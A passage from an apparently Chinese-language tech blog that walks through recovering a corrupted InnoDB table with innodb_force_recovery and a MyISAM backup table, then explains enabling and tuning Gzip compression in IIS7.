因为后者可以通过使用OPTIMIZE TABLE命令来修复,但这和更难以恢复的表格目录(table dictionary)被破坏的情况来说要好一些。

操作步骤:

修改my.cnf 配置文件,添加innodb_force_recovery = 1运行InnoDB,然后重启mysql 。

1,建议一个备份表,T_MinuteStore_BAK,使用MYISAM存储引擎,建表语句如下:

CREATE TABLE `T_MinuteStore_BAK` (
`T_MinuteStore_ID` bigint(20) NOT NULL AUTO_INCREMENT COMMENT ‘行标识’,
`siteID` int(11) DEFAULT NULL COMMENT ‘站点标识’,
`genTime` datetime DEFAULT NULL COMMENT ‘监测时间’,
`itemID` int(11) DEFAULT NULL COMMENT ‘监测项目’,
`value` varchar(255) DEFAULT NULL COMMENT ‘监测值’,
`flag` varchar(255) DEFAULT NULL COMMENT ‘异常标志’,
`filterFlag` bit(1) DEFAULT NULL COMMENT ‘过滤标志’,
PRIMARY KEY (`T_MinuteStore_ID`)
) ENGINE=MYISAM AUTO_INCREMENT=188995 DEFAULT CHARSET=utf8 COMMENT=’监测分钟数据–5分钟一组数据’;

2,把T_MinuteStore表中的数据导入到新表T_MinuteStore_BAK.

insert into T_MinuteStore_BAK select * from T_MinuteStore;

提示报错: 2013 (HY000): Lost connection TO MySQL server during query
你可能想对数据表进行扫描直到第一个被损坏的行,然后从MyISAM表中得到结果?
不幸的是,运行之后的T_MinuteStore_BAK表格是只有一部份数据。
这里查看T_MinuteStore_BAK表中,主键 T_MinuteStore_ID 从最小值到160861,可以看出是被顺序插入的数据。
那么现在就好办了,说明从16081之后,有损坏的数据行。
下面作下插入数据测试,看看大约有多少行数据损坏。
insert into T_MinuteStore_BAK select * from T_MinuteStore where T_MinuteStore_ID>161000;
执行命令后,还是报错。
最后测试;
161500160861
此主键之间的数据,有损坏,其它数据恢复正常。总计100万行数据,只丢了几百行数据,完全可以承受。
3, 删除掉原表: drop table T_MinuteStore;注释掉innodb_force_recovery 之后,重启Mysql。
4,重命名 T_MinuteStore_BAK:

rename table T_MinuteStore_BAK to T_MinuteStore;
5,最后将表T_MinuteStore修改回存储引擎:

alter table T_MinuteStore engine = innodb;

最后将数据库数据导出,测试导出成功,未发现问题。备份好数据,然后更换好硬盘,重装好Mysql ,将数据导入。
测试程序,一切正常。

分类: 解决方案 标签: , ,

IIS7配置Gzip压缩

2017年10月25日 没有评论

开启配置HTTP压缩(GZip)

在IIS7中配置Gzip压缩相比IIS6来说实在容易了许多,而且默认情况下就是启用GZip压缩的。如果没有,则可以再功能视图下找到“压缩”项,进入之后就会看到“静态内容压缩”和“动态内容压缩”两个选项,勾上即可。

配置启用压缩的文件类型及其他选项

当开启GZip压缩之后,IIS并不是对所有内容都启用了压缩,而是有选择的进行压缩。遗憾的是,我们无法直接在IIS7管理器中配置这些压缩选项。我们首先需要在C:\Windows\System32\inetsrv\config文件夹下找到applicationhost.config文件,打开之后找到如下一节内容:

1
 

IIS实际上是根据MIME类型来决定是否启用HTTP压缩的,以及压缩比之类的选项。可以看出,图片默认情况下是不被压缩的,这是因为图片的压缩比太低了。

我们注意到,对于Javascript来说,上面对不同的mime类型配置了不同的压缩方式。Javascript有三种常见的Mime类型,text/javascript,application/x-javascript,application/javascript。这三种类型都是合法的,在现代浏览器中也不存在什么差别。但是由于IIS7中Js文件的mime类型默认被设置为application/x-javascript,也就是说对于js文件,使用的是动态内容压缩而不是静态内容压缩,因此会导致js文件有时经过压缩的,有时却没有压缩。

静态压缩及动态压缩的区别

IIS7中的HTTP压缩分为“静态内容压缩”和“动态内容压缩”,其实这两个名字第一次接触很费解。什么是动态内容什么又是静态内容?实际上,准确的翻译应该是“静态压缩”和“动态压缩”。这两个词反应了IIS的压缩行为。对于配置在staticTypes节中的mime类型,将会启用静态压缩,也就是说,当文件第一次被请求的时候,IIS会将其压缩,然后放入临时文件夹中,下次再有人请求此文件时直接从临时文件夹中取出压缩后的版本而不用重新执行压缩的过程。配置在dynamicTypes一节中的mime类型的http请求都将启用动态压缩,即每一次请求,主机都会对请求的内容——可能是存放在文件系统中的静态文件,也可能是ISAPI返回的内容——进行压缩,而不会对其进行缓存。这个压缩比率因主机性能不同而会有所调整,所以我们在请求js文件的时候才会发现js文件有时压缩有时不压缩的情况。

显而易见,静态压缩会占用一定的存储空间,但是速度快,而动态压缩不占用存储空间,但是占用CPU时间,而且压缩比不恒定。而对于经过ISAPI的请求,则不能使用静态压缩方式。例如对于WCF返回的内容。